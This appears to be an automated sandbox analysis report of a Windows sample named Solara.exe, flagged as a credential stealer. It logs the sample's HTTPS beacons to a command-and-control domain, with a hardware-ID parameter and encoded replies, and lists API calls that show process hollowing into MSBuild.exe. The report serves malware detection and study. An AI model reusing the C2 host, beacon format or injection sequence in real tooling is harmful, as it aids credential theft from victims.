cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1862&rtt_var=699&sent=316&recv=594&lost=0&retrans=0&sent_bytes=2836&recv_bytes=573104&delivery_rate=1564006&cwnd=214&unsent_bytes=0&cid=a7c87e97a1710c88&ts=2502&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:21:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: mindhandru.buzz
2024-12-27 15:21:16 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 26 6a 3d 26 68 77 69 64 3d 38 42 36 42 39 35 38 32 30 30 38 37 30 32 39 38 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--629912535&j=&hwid=8B6B958200870298D0F23BE3BFA4D7B0
2024-12-27 15:21:16 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:21:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qjsmfhu8f1eamo24vcoh72i66j; expires=Tue, 22 Apr 2025 09:07:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m3xlACe9tJxuqW9myp6lW48s6SmvLgcFNWWo1fylmN91WEpebTqjxKz9bcQeV0c3Tc%2F3h5abJsllIGVJdUh5hsjBUfhDryVe%2BeACOybh5pdSTI0sWNxS6%2FLn917aJMB3pAI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4ca5ac110cc0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1648&min_rtt=1595&rtt_var=636&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=985&delivery_rate=1830721&cwnd=218&unsent_bytes=0&cid=5e9cbf6c4c459e47&ts=790&x=0"
2024-12-27 15:21:16 UTC	246	IN	Data Raw: 31 33 37 35 0d 0a 35 48 63 71 39 62 71 6a 76 72 6c 37 36 69 4b 35 4a 5a 54 79 74 52 67 32 61 36 7a 47 6b 46 4e 69 32 64 6d 2f 7a 36 41 71 48 4f 57 2f 44 41 69 54 7a 6f 47 45 69 46 66 49 52 35 73 66 70 64 36 58 66 42 52 52 6a 6f 54 31 46 7a 37 32 37 2b 6d 45 37 57 56 32 7a 72 42 50 41 59 2f 34 6d 34 37 30 43 39 78 4b 33 58 4b 6e 68 66 4e 52 64 41 6e 47 6e 39 59 33 4a 70 57 39 69 76 66 33 55 6c 4b 7a 72 51 4a 46 6b 38 72 32 69 73 35 4e 75 68 66 66 58 36 4f 2f 2f 57 4a 6e 45 73 4b 33 31 6d 49 41 76 35 6a 71 71 4f 5a 66 55 6f 32 79 52 32 65 42 69 63 33 47 32 7a 37 62 63 2b 46 43 79 4e 32 65 64 47 55 42 36 4b 6e 4d 66 41 6d 46 39 75 2b 38 31 30 78 53 6f 61 38 53 52 61 33 73 31 34 62 37 4b 4b 74 31 6a 52 66 57 71 75 52 68 42 51 33 43 Data Ascii: 13755Hcq9bqjvrl76iK5JZTytRg2a6zGkFNi2dm/z6AqHOW/DAiTzoGEiFfIR5sfpd6XfBRRjoT1Fz727+mE7WV2zrBPAY/4m470C9xK3XKnhfNRdAnGn9Y3JpW9ivf3UlKzrQJFk8r2is5NuhffX6O//WJnEsK31mIAv5jqqOZfUo2yR2eBic3G2z7bc+FCyN2edGUB6KnMfAmF9u+810xSoa8SRa3s14b7KKt1jRfWquRhBQ3C
2024-12-27 15:21:16 UTC	1369	IN	Data Raw: 67 4f 4d 48 4e 4a 71 46 6b 50 62 6d 48 79 32 73 30 44 70 32 32 76 48 61 37 5a 4a 4a 70 48 4c 55 62 36 32 56 32 79 78 61 4e 34 50 31 31 57 55 44 72 66 4c 4f 71 2b 77 5a 62 71 4f 30 51 68 36 45 79 4e 50 47 7a 6a 48 59 62 39 70 54 6f 61 4c 67 65 6e 6b 4b 79 37 50 58 59 43 61 52 71 2f 53 71 79 6b 63 72 76 36 4d 75 51 6f 44 30 79 2f 6a 56 47 4a 34 52 69 56 33 79 73 34 52 4d 63 53 4c 41 38 71 55 41 43 4a 32 32 34 2b 44 4c 64 6a 4f 31 6c 77 42 34 75 2f 37 6f 68 73 6f 59 76 42 76 38 5a 38 65 77 34 69 77 45 4b 66 53 6e 36 57 41 48 76 35 2f 4d 6d 2f 5a 6f 65 71 47 34 57 42 79 6a 38 63 44 78 30 31 43 2b 47 70 4a 66 31 73 71 46 56 55 5a 41 78 4b 4c 58 59 42 57 66 6b 50 33 34 79 6e 4e 5a 33 4b 41 37 54 73 43 43 39 4d 62 33 4c 71 34 57 36 58 6d 37 67 75 42 33 51 56 33 Data Ascii: gOMHNJqFkPbmHy2s0Dp22vHa7ZJJpHLUb62V2yxaN4P11WUDrfLOq+wZbqO0Qh6EyNPGzjHYb9pToaLgenkKy7PXYCaRq/Sqykcrv6MuQoD0y/jVGJ4RiV3ys4RMcSLA8qUACJ224+DLdjO1lwB4u/7ohsoYvBv8Z8ew4iwEKfSn6WAHv5/Mm/ZoeqG4WByj8cDx01C+GpJf1sqFVUZAxKLXYBWfkP34ynNZ3KA7TsCC9Mb3Lq4W6Xm7guB3QV3
2024-12-27 15:21:16 UTC	1369	IN	Data Raw: 45 6d 31 69 74 57 4c 7a 33 59 7a 6a 72 68 59 65 6f 62 4e 78 66 44 39 4d 49 39 4e 34 58 50 67 79 76 64 4c 64 7a 79 59 39 4e 49 4c 4d 36 44 71 32 71 6e 6d 57 55 69 7a 70 68 4a 75 71 5a 57 56 36 50 49 32 70 55 69 53 63 61 7a 5a 7a 31 6f 4f 57 2b 47 32 70 6a 73 47 6a 75 72 49 69 65 6c 6f 66 6f 2b 39 4d 55 36 78 39 73 65 4c 67 53 79 53 62 4f 78 6a 6f 4b 4c 70 4e 30 59 2b 77 37 47 6d 41 31 65 4a 6f 34 69 43 36 46 42 4e 6e 49 6f 47 62 4d 54 59 78 66 2f 73 48 4b 78 58 39 30 4c 43 77 76 68 73 42 51 58 55 70 4e 56 69 4d 34 47 2b 34 2b 43 4c 52 6b 2b 50 6f 42 68 32 32 74 48 2f 6b 65 6b 49 6e 55 54 33 59 64 2b 58 32 6b 42 67 48 35 53 45 77 78 49 31 37 65 76 39 6c 2f 46 54 4c 34 43 43 4d 56 6d 68 37 4f 48 62 2f 53 66 46 46 4f 39 75 32 62 33 66 4d 32 4a 54 68 37 7a 53 Data Ascii: Em1itWLz3YzjrhYeobNxfD9MI9N4XPgyvdLdzyY9NILM6Dq2qnmWUizphJuqZWV6PI2pUiScazZz1oOW+G2pjsGjurIielofo+9MU6x9seLgSySbOxjoKLpN0Y+w7GmA1eJo4iC6FBNnIoGbMTYxf/sHKxX90LCwvhsBQXUpNViM4G+4+CLRk+PoBh22tH/kekInUT3Yd+X2kBgH5SEwxI17ev9l/FTL4CCMVmh7OHb/SfFFO9u2b3fM2JTh7zS
2024-12-27 15:21:16 UTC	1369	IN	Data Raw: 4b 49 6d 63 4d 63 55 36 7a 50 52 30 36 50 37 39 6e 77 7a 55 79 4d 63 50 4e 4a 35 6f 50 79 66 6e 51 74 34 4b 47 6e 59 44 4f 79 68 5a 43 66 30 31 42 33 74 6f 73 6a 47 4a 76 4a 36 34 66 36 50 59 56 7a 37 68 47 6d 75 4f 78 73 58 69 72 6d 70 66 34 6b 57 75 47 50 31 2f 66 68 62 48 47 4c 30 44 39 41 68 75 50 54 68 74 4d 78 67 6e 57 4a 53 4d 79 6b 32 48 64 6a 41 4f 2b 66 2b 68 51 57 75 2b 37 62 76 65 55 54 66 59 2b 55 4f 46 4f 45 38 38 7a 72 2b 78 79 4e 63 2b 55 4b 31 37 6a 76 59 45 34 54 2b 50 4c 64 4a 53 6d 32 71 39 61 42 6d 47 64 37 6c 36 45 52 58 73 54 56 37 50 4c 44 4b 4b 4e 4a 38 6d 33 62 70 66 42 4a 51 51 2f 47 74 4d 49 33 4a 70 69 75 2b 71 6e 4c 66 6b 79 43 6e 6a 68 4c 73 2b 33 47 31 75 38 42 33 33 66 65 53 71 4b 34 2b 6d 74 41 4a 66 79 55 39 54 6f 33 36 Data Ascii: KImcMcU6zPR06P79nwzUyMcPNJ5oPyfnQt4KGnYDOyhZCf01B3tosjGJvJ64f6PYVz7hGmuOxsXirmpf4kWuGP1/fhbHGL0D9AhuPThtMxgnWJSMyk2HdjAO+f+hQWu+7bveUTfY+UOFOE88zr+xyNc+UK17jvYE4T+PLdJSm2q9aBmGd7l6ERXsTV7PLDKKNJ8m3bpfBJQQ/GtMI3Jpiu+qnLfkyCnjhLs+3G1u8B33feSqK4+mtAJfyU9To36
2024-12-27 15:21:16 UTC	636	IN	Data Raw: 53 55 7a 65 7a 67 51 52 73 6d 2b 7a 6c 36 75 67 70 6f 47 50 79 65 62 75 6a 33 47 78 42 4a 4e 6a 31 2b 69 73 50 6d 35 48 75 76 2f 68 51 63 37 6e 4c 4c 30 2b 65 6b 65 76 34 30 42 4b 77 55 2b 78 56 30 72 48 51 64 33 34 6d 36 34 44 36 41 43 76 75 73 75 50 67 34 6d 78 47 6f 4c 77 65 61 36 44 4a 39 2b 6a 36 46 34 77 62 30 78 7a 77 76 2f 74 36 51 6a 79 55 73 2b 6f 52 41 5a 43 63 7a 5a 57 54 64 6a 4f 56 73 67 52 49 75 63 50 54 31 35 49 58 67 78 48 72 51 4e 71 49 77 45 70 4f 4f 75 53 6b 38 6a 38 31 36 2b 72 53 2b 70 68 59 55 37 4f 47 44 55 53 46 37 75 54 52 2f 42 69 39 47 73 35 50 31 59 48 39 62 41 4e 59 34 76 57 6b 5a 51 79 54 6f 66 75 6b 6b 58 68 45 6b 35 45 65 62 4a 48 31 31 4d 72 6a 50 59 31 31 34 30 48 4d 6b 2b 78 53 57 31 37 6f 6e 75 52 72 49 4b 47 4d 33 59 Data Ascii: SUzezgQRsm+zl6ugpoGPyebuj3GxBJNj1+isPm5Huv/hQc7nLL0+ekev40BKwU+xV0rHQd34m64D6ACvusuPg4mxGoLwea6DJ9+j6F4wb0xzwv/t6QjyUs+oRAZCczZWTdjOVsgRIucPT15IXgxHrQNqIwEpOOuSk8j816+rS+phYU7OGDUSF7uTR/Bi9Gs5P1YH9bANY4vWkZQyTofukkXhEk5EebJH11MrjPY1140HMk+xSW17onuRrIKGM3Y
2024-12-27 15:21:16 UTC	1369	IN	Data Raw: 32 33 61 37 0d 0a 49 32 37 34 2b 44 74 62 48 47 6a 71 78 35 61 78 66 62 36 38 50 73 76 76 58 50 42 63 39 6d 4c 30 30 4a 31 50 6f 65 2f 35 6d 55 71 36 70 4c 58 2b 50 46 32 4d 36 47 75 4c 56 4b 4e 69 64 6d 47 39 41 32 68 54 63 68 4d 32 71 66 62 58 77 59 4f 35 4b 6a 70 4d 52 4f 56 36 75 79 46 2b 57 56 33 30 72 77 64 62 70 37 41 69 4e 4c 36 54 59 5a 56 36 30 76 62 69 74 70 76 55 43 58 6f 6a 66 55 6a 47 75 69 34 38 70 4f 50 65 58 75 77 31 51 64 53 6b 4e 62 7a 79 49 78 49 75 6c 72 44 56 73 6a 64 37 30 78 75 57 65 61 77 34 51 73 67 6e 72 71 49 69 4d 70 6f 4a 4e 57 70 42 78 79 62 38 76 58 52 7a 67 4f 6a 59 4f 31 79 78 72 53 44 54 52 30 50 78 36 50 79 59 79 33 73 6a 4d 79 45 6b 47 68 50 69 70 64 42 65 6f 33 37 6b 49 72 7a 47 6f 5a 6e 39 47 33 63 78 64 52 7a 55 51 Data Ascii: 23a7I274+DtbHGjqx5axfb68PsvvXPBc9mL00J1Poe/5mUq6pLX+PF2M6GuLVKNidmG9A2hTchM2qfbXwYO5KjpMROV6uyF+WV30rwdbp7AiNL6TYZV60vbitpvUCXojfUjGui48pOPeXuw1QdSkNbzyIxIulrDVsjd70xuWeaw4QsgnrqIiMpoJNWpBxyb8vXRzgOjYO1yxrSDTR0Px6PyYy3sjMyEkGhPipdBeo37kIrzGoZn9G3cxdRzUQ
2024-12-27 15:21:16 UTC	1369	IN	Data Raw: 43 79 32 4c 6c 4d 71 46 32 56 6c 46 71 5a 55 43 53 61 62 67 78 4f 6a 56 4e 70 73 62 77 58 58 31 6c 38 31 56 52 41 71 66 68 4d 55 4a 47 4c 71 33 2b 37 76 6a 58 33 53 48 71 53 56 53 72 50 4c 42 33 4e 30 73 70 47 50 6c 43 74 43 34 77 45 78 31 41 73 65 50 33 42 41 4f 36 72 6a 52 76 66 77 46 54 5a 47 4c 48 6d 32 6b 38 4d 62 64 2b 79 36 72 53 4d 78 64 33 34 72 6a 51 55 45 54 36 6f 76 49 43 56 4b 62 37 63 57 49 37 45 78 56 6e 4c 59 66 57 5a 53 52 31 63 36 4b 44 4e 78 72 7a 41 36 69 6d 75 42 2b 41 6c 79 66 73 4b 56 68 4f 71 43 46 6b 49 6e 4b 57 32 61 48 30 79 4e 2b 68 4f 4c 68 2b 64 70 4d 72 55 6a 37 48 61 53 2f 78 53 35 47 4f 4e 71 74 32 54 77 76 6b 4c 76 37 6c 38 74 4e 58 64 53 4e 4d 47 75 44 2b 35 58 7a 7a 55 7a 61 53 38 78 58 31 62 54 4d 4c 30 34 71 35 2f 50 Data Ascii: Cy2LlMqF2VlFqZUCSabgxOjVNpsbwXX1l81VRAqfhMUJGLq3+7vjX3SHqSVSrPLB3N0spGPlCtC4wEx1AseP3BAO6rjRvfwFTZGLHm2k8Mbd+y6rSMxd34rjQUET6ovICVKb7cWI7ExVnLYfWZSR1c6KDNxrzA6imuB+AlyfsKVhOqCFkInKW2aH0yN+hOLh+dpMrUj7HaS/xS5GONqt2TwvkLv7l8tNXdSNMGuD+5XzzUzaS8xX1bTML04q5/P
2024-12-27 15:21:16 UTC	1369	IN	Data Raw: 6f 57 51 75 50 77 46 65 62 32 41 44 55 79 68 7a 64 62 62 2f 77 69 34 65 2b 45 54 78 6f 76 45 4b 58 63 74 7a 71 37 6c 43 77 65 7a 71 2f 44 34 34 55 6c 73 30 34 6f 2f 66 4c 2f 57 39 6f 62 78 54 49 35 55 37 68 7a 65 75 38 5a 43 42 44 33 75 2f 2f 55 55 4b 34 6e 72 37 2f 36 51 66 45 7a 55 31 77 59 54 77 74 6e 72 78 4f 30 2f 69 46 50 4c 53 2f 4b 55 39 45 31 63 48 73 43 4b 70 44 49 59 36 65 43 4d 6f 64 68 49 57 64 53 39 41 46 75 54 2b 39 66 76 2b 78 32 39 47 75 46 31 33 4a 6a 58 66 31 67 71 6e 75 33 35 4e 67 2f 6f 6f 39 53 37 38 55 56 45 71 4a 45 2b 61 49 7a 56 6c 39 32 49 43 49 68 33 6a 6d 2f 48 69 34 42 74 59 51 6a 59 39 73 59 77 44 6f 37 68 6c 4f 54 4b 59 69 69 2f 31 6b 52 61 67 4f 50 6f 6a 66 46 44 6e 47 50 56 54 4f 57 78 30 46 70 41 58 64 53 49 78 52 55 37 Data Ascii: oWQuPwFeb2ADUyhzdbb/wi4e+ETxovEKXctzq7lCwezq/D44Uls04o/fL/W9obxTI5U7hzeu8ZCBD3u//UUK4nr7/6QfEzU1wYTwtnrxO0/iFPLS/KU9E1cHsCKpDIY6eCModhIWdS9AFuT+9fv+x29GuF13JjXf1gqnu35Ng/oo9S78UVEqJE+aIzVl92ICIh3jm/Hi4BtYQjY9sYwDo7hlOTKYii/1kRagOPojfFDnGPVTOWx0FpAXdSIxRU7
2024-12-27 15:21:16 UTC	1369	IN	Data Raw: 6a 47 5a 46 69 75 67 52 68 7a 77 66 53 57 39 38 34 36 6a 46 76 55 58 4f 4f 69 77 33 64 35 57 64 58 32 38 79 45 6a 71 5a 4c 54 68 38 38 42 4a 63 36 49 47 6b 6e 43 2f 63 6e 38 67 55 75 6e 55 6f 39 4e 2f 70 58 43 62 33 49 71 36 36 54 69 43 77 33 74 6f 2f 53 6d 34 6b 35 58 6e 59 30 59 59 61 50 4c 38 39 48 4c 4f 72 68 50 36 58 4b 6e 79 75 4a 6f 42 52 4c 61 74 39 64 68 4a 4c 69 76 37 72 76 59 65 31 6d 33 6f 6a 56 67 78 64 44 48 69 76 49 75 6d 47 54 31 53 71 62 4b 36 54 64 6b 49 63 69 4a 2f 51 70 4a 75 49 48 4b 75 4e 64 64 63 4b 69 4b 51 48 4f 69 79 4a 4c 61 33 53 69 63 56 59 35 69 32 38 48 46 58 46 45 69 33 36 6a 4a 46 78 71 65 6a 76 4c 34 6c 48 74 6d 73 62 30 67 59 4b 54 71 32 76 2f 33 4b 39 35 2b 6c 6b 6e 65 68 73 42 35 63 31 4f 65 67 2b 6b 4c 4d 34 7a 72 37 Data Ascii: jGZFiugRhzwfSW9846jFvUXOOiw3d5WdX28yEjqZLTh88BJc6IGknC/cn8gUunUo9N/pXCb3Iq66TiCw3to/Sm4k5XnY0YYaPL89HLOrhP6XKnyuJoBRLat9dhJLiv7rvYe1m3ojVgxdDHivIumGT1SqbK6TdkIciJ/QpJuIHKuNddcKiKQHOiyJLa3SicVY5i28HFXFEi36jJFxqejvL4lHtmsb0gYKTq2v/3K95+lknehsB5c1Oeg+kLM4zr7

Target ID:	0
Start time:	10:20:54
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Solara.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Solara.exe"
Imagebase:	0x200000
File size:	565'288 bytes
MD5 hash:	A58DEBBC1C1961456CA288898E937FFB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:20:54
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:20:55
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Solara.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Solara.exe"
Imagebase:	0x200000
File size:	565'288 bytes
MD5 hash:	A58DEBBC1C1961456CA288898E937FFB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1768091011.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	5.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	16

Executed Functions

Function 0023A19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0023A110,0023A100), ref: 0023A334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0023A347
Wow64GetThreadContext.KERNEL32(00000050,00000000), ref: 0023A365
ReadProcessMemory.KERNELBASE(00000098,?,0023A154,00000004,00000000), ref: 0023A389
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 0023A3B4
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 0023A40C
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 0023A457
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 0023A495
Wow64SetThreadContext.KERNEL32(00000050,03260000), ref: 0023A4D1
ResumeThread.KERNELBASE(00000050), ref: 0023A4E0

Strings

VirtualAllocEx, xrefs: 0023A29C
WriteProcessMemory, xrefs: 0023A2AF
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0023A333
ress, xrefs: 0023A226
GetP, xrefs: 0023A21E
GetThreadContext, xrefs: 0023A276
VirtualAlloc, xrefs: 0023A263
SetThreadContext, xrefs: 0023A2C2
aryA, xrefs: 0023A1E2
CreateProcessW, xrefs: 0023A250
ReadProcessMemory, xrefs: 0023A289
ResumeThread, xrefs: 0023A2D8
TerminateProcess, xrefs: 0023A3C3
Load, xrefs: 0023A1DA

Memory Dump Source

Source File: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: bd599e7c84ca9ee6aa319f573d5e15d30555f1851012e0bade9900b72c6fd8c9
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 81B1097260024AAFDB60CF68CC80BDAB3A5FF88714F158165EA4CAB341D774FA51CB94

Function 00201FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00201240: _strlen.LIBCMT ref: 002012BA

CreateFileA.KERNELBASE ref: 00202036
GetFileSize.KERNEL32(00000000,00000000), ref: 00202046
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0020206B
CloseHandle.KERNELBASE(00000000), ref: 0020207A
_strlen.LIBCMT ref: 002020CD
CloseHandle.KERNEL32(00000000), ref: 002021FD

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: cd031e20cc317099dee482850fc2608615ee4bdffdf786ba48dcd3ce03636f46
Instruction ID: 8cdffd46ab8303ac465272b80cad94489a2187e0791127cfaaf8fde27e2bb298
Opcode Fuzzy Hash: cd031e20cc317099dee482850fc2608615ee4bdffdf786ba48dcd3ce03636f46
Instruction Fuzzy Hash: 6271B1B2D10319DFCB10DFA4DC497AEBBB5BF48310F140629E814A7392E73599698BA1

Function 00201000 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

p", xrefs: 0020101E

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID: p"
API String ID: 0-4226117248
Opcode ID: 0787cc6e9ec6a6633acd8ee29b6f0ebb7b3ee94ff7600731344b5c2b40a0985d
Instruction ID: c671ec63e5a8066a82a15f5d9d644d1a8eba4ee99e2b5a93dda4adf5dc931a2f
Opcode Fuzzy Hash: 0787cc6e9ec6a6633acd8ee29b6f0ebb7b3ee94ff7600731344b5c2b40a0985d
Instruction Fuzzy Hash: D0214B336202660BC75C9F386CA2037FB4BDB867A0705562AED529F2D2E521DD3082E4

Function 002024B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 002024DD
ShowWindow.USER32(00000000,00000000), ref: 002024E6
GetCurrentThreadId.KERNEL32 ref: 00202524

Part of subcall function 0020F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0020253A,?,?,00000000), ref: 0020F129
Part of subcall function 0020F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0020253A,?,?,00000000), ref: 0020F142
Part of subcall function 0020F11D: CloseHandle.KERNEL32(?,?,?,0020253A,?,?,00000000), ref: 0020F154

std::_Throw_Cpp_error.LIBCPMT ref: 00202567
std::_Throw_Cpp_error.LIBCPMT ref: 00202578
std::_Throw_Cpp_error.LIBCPMT ref: 00202589
std::_Throw_Cpp_error.LIBCPMT ref: 0020259A

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: 7a85d9ad48b8b577c1e0b61484729b331853ff0a83beb96ff9c3e38bdcc12f22
Instruction ID: 5faf7575d5d43e78788dc654e76749fcbaa085a2b43abdb669e4e7a632a011a4
Opcode Fuzzy Hash: 7a85d9ad48b8b577c1e0b61484729b331853ff0a83beb96ff9c3e38bdcc12f22
Instruction Fuzzy Hash: ED2196F2D503159BDF10AF949C0ABDEBAB8AF04710F180165F508772C2E7B69964CBA6

Function 0021CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,75E5C5C8,?,0021D01A,?,?,00000000), ref: 0021CFCC

Strings

ext-ms-, xrefs: 0021CF76
api-ms-, xrefs: 0021CF62

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
